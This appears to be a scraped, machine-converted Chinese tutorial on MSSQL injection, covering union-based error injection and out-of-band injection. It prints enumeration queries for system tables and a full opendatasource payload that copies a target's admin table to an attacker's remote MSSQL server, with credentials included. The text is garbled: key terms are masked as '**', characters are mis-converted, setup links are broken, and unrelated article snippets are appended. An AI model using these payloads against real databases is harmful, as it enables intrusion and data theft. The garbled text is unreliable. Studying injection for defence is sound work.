MSSQL注入 顯錯注入及反彈注入

2022-08-05 18:42:11 字數 1453 閱讀 7139

前言:

mssql注入攻擊是最為複雜的資料庫攻擊技術,由於該資料庫功能十分強大,儲存過程以及函式語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。

mssql的顯錯注入操作:

以聯合查詢為例:

猜欄位聯合查詢:union all

猜出輸出點使用null填充

注釋只有 --+、-- a 沒有#

查詢系統庫:select name,null,...... from dbo.sysdatabases 可以不用查庫名

查詢系統表:select name,null,...... from dbo.sysobjects where xtype='u' //u表示使用者建立表

查詢表中的字段:select name,null,...... from dbo.syscolumns where id= 表名對應的id

mssql**注入:

mssql**注入的使用場景

命名是sql的注入點卻無法進行注入操作,注入工具猜解的速度異常緩慢,錯誤提示資訊關閉,無法返回注入結果等,這些都是在注入攻擊中常常遇到的問題。

為了解決以上這些疑難雜症,比較好的解決方法就是使用**注入技術,而**注入技術則需要依靠opendatasource函式支援。

環境的搭建:

我們前面說到,mssql注入 — **注入實際就是把查詢出來的資料傳送到我們的mssql伺服器上,那麼我們需要自己的mssql資料庫和乙個公網ip。

香港雲( 隨便拿個郵箱然後註冊就行

香港雲如果失效:

資料庫聯結器:

**注入語句解析:

insert into opendatasource('sqloledb','server=sql5009.webweb.com,1433;uid=db_14a5e44_zkaq_admin;pwd=zkaqzkaq;database=db_14a5e44_zkaq').db_14a5e44_zkaq.dbo.temp select * from admin --

insert into 很明顯是插入語句 然後出現了個opendatasource。

opendatasource 為了方便理解,可以看理解為 『使用opendatasource函式將當前資料庫查詢的結果傳送到另一資料庫伺服器中。

語法:opendatasource(provider_name,init_string)

provider_name

註冊為用於訪問資料來源的ole db 提供程式的progid的名稱 mssql的名稱為sqloledb

init_string

連線字串

連線位址、埠、使用者名稱、密碼、資料庫名

server=連線位址,埠;uid=使用者名稱;pwd=密碼;database=資料庫名稱

連線上伺服器後選定資料表db_14a5e44_zkaq.dbo.temp 把後面語句的查詢結果插入到那個表裡面

mysql顯錯注入 MySQL注入之顯錯注入

庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...

MSSQL注入 反彈注入

明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用 注入,注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。and exists select from sysobj...

SQL注入 顯錯注入

顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...